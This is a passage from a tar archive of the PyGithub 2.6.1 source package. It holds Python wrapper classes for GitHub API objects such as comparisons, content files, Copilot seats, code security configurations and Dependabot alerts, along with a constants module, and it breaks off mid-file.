0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any import github.Commit import github.File from github.GithubObject import Attribute, CompletableGithubObject, NotSet from github.PaginatedList import PaginatedList class Comparison(CompletableGithubObject): """ This class represents Comparisons. """ def _initAttributes(self) -> None: self._ahead_by: Attribute[int] = NotSet self._base_commit: Attribute[github.Commit.Commit] = NotSet self._behind_by: Attribute[int] = NotSet self._diff_url: Attribute[str] = NotSet self._files: Attribute[list[github.File.File]] = NotSet self._html_url: Attribute[str] = NotSet self._merge_base_commit: Attribute[github.Commit.Commit] = NotSet self._patch_url: Attribute[str] = NotSet self._permalink_url: Attribute[str] = NotSet self._status: Attribute[str] = NotSet self._total_commits: Attribute[int] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"url": self._url.value}) @property def ahead_by(self) -> int: self._completeIfNotSet(self._ahead_by) return self._ahead_by.value @property def base_commit(self) -> github.Commit.Commit: self._completeIfNotSet(self._base_commit) return self._base_commit.value @property def behind_by(self) -> int: self._completeIfNotSet(self._behind_by) return self._behind_by.value # This should be a method, but this used to be a property and cannot be changed without breaking user code # TODO: remove @property on version 3 @property def commits(self) -> PaginatedList[github.Commit.Commit]: return PaginatedList( github.Commit.Commit, self._requester, self.url, {}, headers=None, list_item="commits", total_count_item="total_commits", firstData=self.raw_data, firstHeaders=self.raw_headers, ) @property def diff_url(self) -> str: self._completeIfNotSet(self._diff_url) return self._diff_url.value @property def files(self) -> list[github.File.File]: self._completeIfNotSet(self._files) return self._files.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def merge_base_commit(self) -> github.Commit.Commit: self._completeIfNotSet(self._merge_base_commit) return self._merge_base_commit.value @property def patch_url(self) -> str: self._completeIfNotSet(self._patch_url) return self._patch_url.value @property def permalink_url(self) -> str: self._completeIfNotSet(self._permalink_url) return self._permalink_url.value @property def status(self) -> str: self._completeIfNotSet(self._status) return self._status.value @property def total_commits(self) -> int: self._completeIfNotSet(self._total_commits) return self._total_commits.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "ahead_by" in attributes: # pragma no branch self._ahead_by = self._makeIntAttribute(attributes["ahead_by"]) if "base_commit" in attributes: # pragma no branch self._base_commit = self._makeClassAttribute(github.Commit.Commit, attributes["base_commit"]) if "behind_by" in attributes: # pragma no branch self._behind_by = self._makeIntAttribute(attributes["behind_by"]) if "diff_url" in attributes: # pragma no branch self._diff_url = self._makeStringAttribute(attributes["diff_url"]) if "files" in attributes: # pragma no branch self._files = self._makeListOfClassesAttribute(github.File.File, attributes["files"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "merge_base_commit" in attributes: # pragma no branch self._merge_base_commit = self._makeClassAttribute(github.Commit.Commit, attributes["merge_base_commit"]) if "patch_url" in attributes: # pragma no branch self._patch_url = self._makeStringAttribute(attributes["patch_url"]) if "permalink_url" in attributes: # pragma no branch self._permalink_url = self._makeStringAttribute(attributes["permalink_url"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) if "total_commits" in attributes: # pragma no branch self._total_commits = self._makeIntAttribute(attributes["total_commits"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Consts.py0000644000175100001660000002437414756101563016105 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jakub Wilk # # Copyright 2016 Peter Buckley # # Copyright 2018 Aaron L. Levine # # Copyright 2018 Alice GIRARD # # Copyright 2018 Maarten Fonville # # Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 Yossarian King # # Copyright 2018 h.shi <10385628+AnYeMoWang@users.noreply.github.com> # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Nick Campbell # # Copyright 2019 Steve Kowalik # # Copyright 2019 Tim Gates # # Copyright 2019 Wan Liuyang # # Copyright 2019 Will Li # # Copyright 2020 Adrian Bridgett <58699309+tl-adrian-bridgett@users.noreply.github.com># # Copyright 2020 Anuj Bansal # # Copyright 2020 Colby Gallup # # Copyright 2020 Pascal Hofmann # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2021 Tanner <51724788+lightningboltemoji@users.noreply.github.com> # # Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # # Copyright 2023 Denis Blanchette # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ REQ_IF_NONE_MATCH = "If-None-Match" REQ_IF_MODIFIED_SINCE = "If-Modified-Since" PROCESSING_202_WAIT_TIME = 2 # ############################################################################## # Response Header # # (Lower Case) # # ############################################################################## RES_ETAG = "etag" RES_LAST_MODIFIED = "last-modified" # Inspired by https://github.com/google/go-github # Headers headerRateLimit = "x-ratelimit-limit" headerRateRemaining = "x-ratelimit-remaining" headerRateReset = "x-ratelimit-reset" headerOAuthScopes = "x-oauth-scopes" headerOTP = "x-github-otp" defaultMediaType = "application/octet-stream" # Custom media type for preview API # https://developer.github.com/changes/2014-12-09-new-attributes-for-stars-api/ mediaTypeStarringPreview = "application/vnd.github.v3.star+json" # https://developer.github.com/changes/2016-02-19-source-import-preview-api/ mediaTypeImportPreview = "application/vnd.github.barred-rock-preview" # https://developer.github.com/changes/2016-05-12-reactions-api-preview/ mediaTypeReactionsPreview = "application/vnd.github.squirrel-girl-preview" # https://developer.github.com/changes/2016-09-14-Integrations-Early-Access/ mediaTypeIntegrationPreview = "application/vnd.github.machine-man-preview+json" # https://developer.github.com/changes/2016-09-14-projects-api/ mediaTypeProjectsPreview = "application/vnd.github.inertia-preview+json" # https://developer.github.com/changes/2017-01-05-commit-search-api/ mediaTypeCommitSearchPreview = "application/vnd.github.cloak-preview" # https://developer.github.com/changes/2017-02-28-user-blocking-apis-and-webhook/ mediaTypeBlockUsersPreview = "application/vnd.github.giant-sentry-fist-preview+json" # https://developer.github.com/changes/2017-07-17-update-topics-on-repositories/ mediaTypeTopicsPreview = "application/vnd.github.mercy-preview+json" # https://developer.github.com/changes/2018-02-22-label-description-search-preview/ mediaTypeLabelDescriptionSearchPreview = "application/vnd.github.symmetra-preview+json" # https://developer.github.com/changes/2018-01-10-lock-reason-api-preview/ mediaTypeLockReasonPreview = "application/vnd.github.sailor-v-preview+json" # https://developer.github.com/changes/2018-01-25-organization-invitation-api-preview/ mediaTypeOrganizationInvitationPreview = "application/vnd.github.dazzler-preview+json" # https://developer.github.com/changes/2018-02-07-team-discussions-api mediaTypeTeamDiscussionsPreview = "application/vnd.github.echo-preview+json" # https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews/ mediaTypeRequireMultipleApprovingReviews = "application/vnd.github.luke-cage-preview+json" # https://developer.github.com/changes/2018-05-24-user-migration-api/ mediaTypeMigrationPreview = "application/vnd.github.wyandotte-preview+json" # https://developer.github.com/changes/2019-07-16-repository-templates-api/ mediaTypeTemplatesPreview = "application/vnd.github.baptiste-preview+json" # https://docs.github.com/en/rest/reference/search#highlighting-code-search-results-1 highLightSearchPreview = "application/vnd.github.v3.text-match+json" # https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures/ signaturesProtectedBranchesPreview = "application/vnd.github.zzzax-preview+json" # https://developer.github.com/changes/2019-04-24-vulnerability-alerts/ vulnerabilityAlertsPreview = "application/vnd.github.dorian-preview+json" # https://developer.github.com/changes/2019-06-04-automated-security-fixes/ automatedSecurityFixes = "application/vnd.github.london-preview+json" # https://developer.github.com/changes/2019-05-29-update-branch-api/ updateBranchPreview = "application/vnd.github.lydian-preview+json" # https://developer.github.com/changes/2016-05-23-timeline-preview-api/ issueTimelineEventsPreview = "application/vnd.github.mockingbird-preview" # https://docs.github.com/en/rest/reference/teams#check-if-a-team-manages-a-repository teamRepositoryPermissions = "application/vnd.github.v3.repository+json" # https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/ deploymentEnhancementsPreview = "application/vnd.github.ant-man-preview+json" # https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/ deploymentStatusEnhancementsPreview = "application/vnd.github.flash-preview+json" # https://developer.github.com/changes/2019-12-03-internal-visibility-changes/ repoVisibilityPreview = "application/vnd.github.nebula-preview+json" DEFAULT_BASE_URL = "https://api.github.com" DEFAULT_OAUTH_URL = "https://github.com/login/oauth" DEFAULT_STATUS_URL = "https://status.github.com" DEFAULT_USER_AGENT = "PyGithub/Python" # As of 2018-05-17, Github imposes a 10s limit for completion of API requests. # Thus, the timeout should be slightly > 10s to account for network/front-end # latency. DEFAULT_TIMEOUT = 15 DEFAULT_PER_PAGE = 30 # JWT expiry in seconds. Could be set for max 600 seconds (10 minutes). # https://docs.github.com/en/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app DEFAULT_JWT_EXPIRY = 300 MIN_JWT_EXPIRY = 15 MAX_JWT_EXPIRY = 600 # https://docs.github.com/en/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-json-web-token-jwt # "The time the JWT was created. To protect against clock drift, we recommend you set this 60 seconds in the past." DEFAULT_JWT_ISSUED_AT = -60 # https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-json-web-token-jwt-for-a-github-app # "Your JWT must be signed using the RS256 algorithm" DEFAULT_JWT_ALGORITHM = "RS256" # https://docs.github.com/en/rest/guides/best-practices-for-integrators?apiVersion=2022-11-28#dealing-with-secondary-rate-limits DEFAULT_SECONDS_BETWEEN_REQUESTS = 0.25 DEFAULT_SECONDS_BETWEEN_WRITES = 1.0 ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/ContentFile.py0000644000175100001660000003046314756101563017042 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Thialfihar # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 h.shi <10385628+AnYeMoWang@users.noreply.github.com> # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Alice GIRARD # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import base64 from datetime import datetime from typing import TYPE_CHECKING, Any import github.GitCommit import github.GithubObject import github.License import github.Repository from github.GithubObject import Attribute, CompletableGithubObject, NotSet, _ValuedAttribute if TYPE_CHECKING: from github.GitCommit import GitCommit from github.License import License from github.Repository import Repository class ContentFile(CompletableGithubObject): """ This class represents ContentFiles. The reference can be found here https://docs.github.com/en/rest/reference/repos#contents The OpenAPI schema can be found at - /components/schemas/code-search-result-item - /components/schemas/content-directory - /components/schemas/content-file - /components/schemas/content-submodule - /components/schemas/content-symlink - /components/schemas/file-commit - /components/schemas/license-content """ def _initAttributes(self) -> None: self.__links: Attribute[dict[str, Any]] = NotSet self._commit: Attribute[GitCommit] = NotSet self._content: Attribute[str] = NotSet self._download_url: Attribute[str] = NotSet self._encoding: Attribute[str] = NotSet self._file_size: Attribute[int] = NotSet self._git_url: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._language: Attribute[str] = NotSet self._last_modified_at: Attribute[datetime] = NotSet self._license: Attribute[License] = NotSet self._line_numbers: Attribute[list[str]] = NotSet self._name: Attribute[str] = NotSet self._path: Attribute[str] = NotSet self._repository: Attribute[Repository] = NotSet self._score: Attribute[float] = NotSet self._sha: Attribute[str] = NotSet self._size: Attribute[int] = NotSet self._submodule_git_url: Attribute[str] = NotSet self._target: Attribute[str] = NotSet self._text_matches: Attribute[str] = NotSet self._type: Attribute[str] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"path": self._path.value}) @property def _links(self) -> dict[str, Any]: self._completeIfNotSet(self.__links) return self.__links.value @property def commit(self) -> GitCommit: self._completeIfNotSet(self._commit) return self._commit.value @property def content(self) -> str: self._completeIfNotSet(self._content) return self._content.value @property def decoded_content(self) -> bytes: assert self.encoding == "base64", f"unsupported encoding: {self.encoding}" return base64.b64decode(bytearray(self.content, "utf-8")) @property def download_url(self) -> str: self._completeIfNotSet(self._download_url) return self._download_url.value @property def encoding(self) -> str: self._completeIfNotSet(self._encoding) return self._encoding.value @property def file_size(self) -> int: self._completeIfNotSet(self._file_size) return self._file_size.value @property def git_url(self) -> str: self._completeIfNotSet(self._git_url) return self._git_url.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def language(self) -> str: self._completeIfNotSet(self._language) return self._language.value @property def last_modified_at(self) -> datetime: self._completeIfNotSet(self._last_modified_at) return self._last_modified_at.value @property def license(self) -> License: self._completeIfNotSet(self._license) return self._license.value @property def line_numbers(self) -> list[str]: self._completeIfNotSet(self._line_numbers) return self._line_numbers.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def path(self) -> str: self._completeIfNotSet(self._path) return self._path.value @property def repository(self) -> Repository: if self._repository is NotSet: # The repository was not set automatically, so it must be looked up by url. repo_url = "/".join(self.url.split("/")[:6]) # pragma no cover (Should be covered) self._repository = _ValuedAttribute( github.Repository.Repository(self._requester, self._headers, {"url": repo_url}, completed=False) ) # pragma no cover (Should be covered) return self._repository.value @property def score(self) -> float: self._completeIfNotSet(self._score) return self._score.value @property def sha(self) -> str: self._completeIfNotSet(self._sha) return self._sha.value @property def size(self) -> int: self._completeIfNotSet(self._size) return self._size.value @property def submodule_git_url(self) -> str: self._completeIfNotSet(self._submodule_git_url) return self._submodule_git_url.value @property def target(self) -> str: self._completeIfNotSet(self._target) return self._target.value @property def text_matches(self) -> str: self._completeIfNotSet(self._text_matches) return self._text_matches.value @property def type(self) -> str: self._completeIfNotSet(self._type) return self._type.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "_links" in attributes: # pragma no branch self.__links = self._makeDictAttribute(attributes["_links"]) if "commit" in attributes: # pragma no branch self._commit = self._makeClassAttribute(github.GitCommit.GitCommit, attributes["commit"]) if "content" in attributes: # pragma no branch self._content = self._makeStringAttribute(attributes["content"]) if "download_url" in attributes: # pragma no branch self._download_url = self._makeStringAttribute(attributes["download_url"]) if "encoding" in attributes: # pragma no branch self._encoding = self._makeStringAttribute(attributes["encoding"]) if "file_size" in attributes: # pragma no branch self._file_size = self._makeIntAttribute(attributes["file_size"]) if "git_url" in attributes: # pragma no branch self._git_url = self._makeStringAttribute(attributes["git_url"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "language" in attributes: # pragma no branch self._language = self._makeStringAttribute(attributes["language"]) if "last_modified_at" in attributes: # pragma no branch self._last_modified_at = self._makeDatetimeAttribute(attributes["last_modified_at"]) if "license" in attributes: # pragma no branch self._license = self._makeClassAttribute(github.License.License, attributes["license"]) if "line_numbers" in attributes: # pragma no branch self._line_numbers = self._makeListOfStringsAttribute(attributes["line_numbers"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "path" in attributes: # pragma no branch self._path = self._makeStringAttribute(attributes["path"]) if "repository" in attributes: # pragma no branch self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "score" in attributes: # pragma no branch self._score = self._makeFloatAttribute(attributes["score"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "size" in attributes: # pragma no branch self._size = self._makeIntAttribute(attributes["size"]) if "submodule_git_url" in attributes: # pragma no branch self._submodule_git_url = self._makeStringAttribute(attributes["submodule_git_url"]) if "target" in attributes: # pragma no branch self._target = self._makeStringAttribute(attributes["target"]) if "text_matches" in attributes: # pragma no branch self._text_matches = self._makeListOfDictsAttribute(attributes["text_matches"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Copilot.py0000644000175100001660000001066414756101563016242 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Pasha Fateev # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.CopilotSeat from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.CopilotSeat import CopilotSeat from github.Requester import Requester class Copilot(NonCompletableGithubObject): def __init__(self, requester: Requester, org_name: str) -> None: super().__init__(requester, {}, {"org_name": org_name}) def _initAttributes(self) -> None: self._org_name: Attribute[str] = NotSet def _useAttributes(self, attributes: dict[str, Any]) -> None: if "org_name" in attributes: # pragma no branch self._org_name = self._makeStringAttribute(attributes["org_name"]) def __repr__(self) -> str: return self.get__repr__({"org_name": self._org_name.value if self._org_name is not NotSet else NotSet}) @property def org_name(self) -> str: return self._org_name.value def get_seats(self) -> PaginatedList[CopilotSeat]: """ :calls: `GET /orgs/{org}/copilot/billing/seats `_ """ url = f"/orgs/{self._org_name.value}/copilot/billing/seats" return PaginatedList( github.CopilotSeat.CopilotSeat, self._requester, url, None, list_item="seats", ) def add_seats(self, selected_usernames: list[str]) -> int: """ :calls: `POST /orgs/{org}/copilot/billing/selected_users `_ :param selected_usernames: List of usernames to add Copilot seats for :rtype: int :return: Number of seats created """ url = f"/orgs/{self._org_name.value}/copilot/billing/selected_users" _, data = self._requester.requestJsonAndCheck( "POST", url, input={"selected_usernames": selected_usernames}, ) return data["seats_created"] def remove_seats(self, selected_usernames: list[str]) -> int: """ :calls: `DELETE /orgs/{org}/copilot/billing/selected_users `_ :param selected_usernames: List of usernames to remove Copilot seats for :rtype: int :return: Number of seats cancelled """ url = f"/orgs/{self._org_name.value}/copilot/billing/selected_users" _, data = self._requester.requestJsonAndCheck( "DELETE", url, input={"selected_usernames": selected_usernames}, ) return data["seats_cancelled"] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CopilotSeat.py0000644000175100001660000001127214756101563017053 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Pasha Fateev # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.NamedUser import github.Team from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet, _NotSetType class CopilotSeat(NonCompletableGithubObject): def _initAttributes(self) -> None: self._created_at: Attribute[datetime] | _NotSetType = NotSet self._updated_at: Attribute[datetime] | _NotSetType = NotSet self._pending_cancellation_date: Attribute[datetime] | _NotSetType = NotSet self._last_activity_at: Attribute[datetime] | _NotSetType = NotSet self._last_activity_editor: Attribute[str] | _NotSetType = NotSet self._plan_type: Attribute[str] | _NotSetType = NotSet self._assignee: Attribute[github.NamedUser.NamedUser] | _NotSetType = NotSet self._assigning_team: Attribute[github.Team.Team] | _NotSetType = NotSet def _useAttributes(self, attributes: dict[str, Any]) -> None: if "created_at" in attributes: self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "updated_at" in attributes: self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "pending_cancellation_date" in attributes: self._pending_cancellation_date = self._makeDatetimeAttribute(attributes["pending_cancellation_date"]) if "last_activity_at" in attributes: self._last_activity_at = self._makeDatetimeAttribute(attributes["last_activity_at"]) if "last_activity_editor" in attributes: self._last_activity_editor = self._makeStringAttribute(attributes["last_activity_editor"]) if "plan_type" in attributes: self._plan_type = self._makeStringAttribute(attributes["plan_type"]) if "assignee" in attributes: self._assignee = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["assignee"]) if "assigning_team" in attributes: self._assigning_team = self._makeClassAttribute(github.Team.Team, attributes["assigning_team"]) def __repr__(self) -> str: return self.get__repr__({"assignee": self._assignee.value}) @property def created_at(self) -> datetime: return self._created_at.value @property def updated_at(self) -> datetime: return self._updated_at.value @property def pending_cancellation_date(self) -> datetime: return self._pending_cancellation_date.value @property def last_activity_at(self) -> datetime: return self._last_activity_at.value @property def last_activity_editor(self) -> str: return self._last_activity_editor.value @property def plan_type(self) -> str: return self._plan_type.value @property def assignee(self) -> github.NamedUser.NamedUser: return self._assignee.value @property def assigning_team(self) -> github.Team.Team: return self._assigning_team.value ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/DefaultCodeSecurityConfig.py0000644000175100001660000001120514756101563021656 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Justin Kufro # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Bill Napier # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any import github.CodeSecurityConfig from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class DefaultCodeSecurityConfig(NonCompletableGithubObject): """ This class represents a Default Configurations for Code Security. The reference can be found here https://docs.github.com/en/rest/code-security/configurations. """ def _initAttributes(self) -> None: self._configuration: Attribute[github.CodeSecurityConfig.CodeSecurityConfig] = NotSet self._default_for_new_repos: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__( { "default_for_new_repos": self.default_for_new_repos, } ) @property def configuration(self) -> github.CodeSecurityConfig.CodeSecurityConfig: return self._configuration.value @property def default_for_new_repos(self) -> str: return self._default_for_new_repos.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "configuration" in attributes: # pragma no branch self._configuration = self._makeClassAttribute( github.CodeSecurityConfig.CodeSecurityConfig, attributes["configuration"] ) if "default_for_new_repos" in attributes: # pragma no branch self._default_for_new_repos = self._makeStringAttribute(attributes["default_for_new_repos"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/DependabotAlert.py0000644000175100001660000001703714756101563017667 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Thomas Cooper # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.AdvisoryVulnerabilityPackage import github.DependabotAlertAdvisory import github.DependabotAlertDependency import github.DependabotAlertVulnerability import github.NamedUser from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.DependabotAlertAdvisory import DependabotAlertAdvisory from github.DependabotAlertDependency import DependabotAlertDependency from github.DependabotAlertVulnerability import DependabotAlertVulnerability from github.NamedUser import NamedUser class DependabotAlert(NonCompletableGithubObject): """ This class represents a DependabotAlert. The reference can be found here https://docs.github.com/en/rest/dependabot/alerts The OpenAPI schema can be found at - /components/schemas/dependabot-alert """ def _initAttributes(self) -> None: self._auto_dismissed_at: Attribute[datetime] = NotSet self._created_at: Attribute[datetime] = NotSet self._dependency: Attribute[DependabotAlertDependency] = NotSet self._dismissed_at: Attribute[datetime | None] = NotSet self._dismissed_by: Attribute[NamedUser | None] = NotSet self._dismissed_comment: Attribute[str | None] = NotSet self._dismissed_reason: Attribute[str | None] = NotSet self._fixed_at: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._number: Attribute[int] = NotSet self._security_advisory: Attribute[DependabotAlertAdvisory] = NotSet self._security_vulnerability: Attribute[DependabotAlertVulnerability] = NotSet self._state: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"number": self.number, "ghsa_id": self.security_advisory.ghsa_id}) @property def auto_dismissed_at(self) -> datetime: return self._auto_dismissed_at.value @property def created_at(self) -> datetime: return self._created_at.value @property def dependency(self) -> DependabotAlertDependency: return self._dependency.value @property def dismissed_at(self) -> datetime | None: return self._dismissed_at.value @property def dismissed_by(self) -> NamedUser | None: return self._dismissed_by.value @property def dismissed_comment(self) -> str | None: return self._dismissed_comment.value @property def dismissed_reason(self) -> str | None: 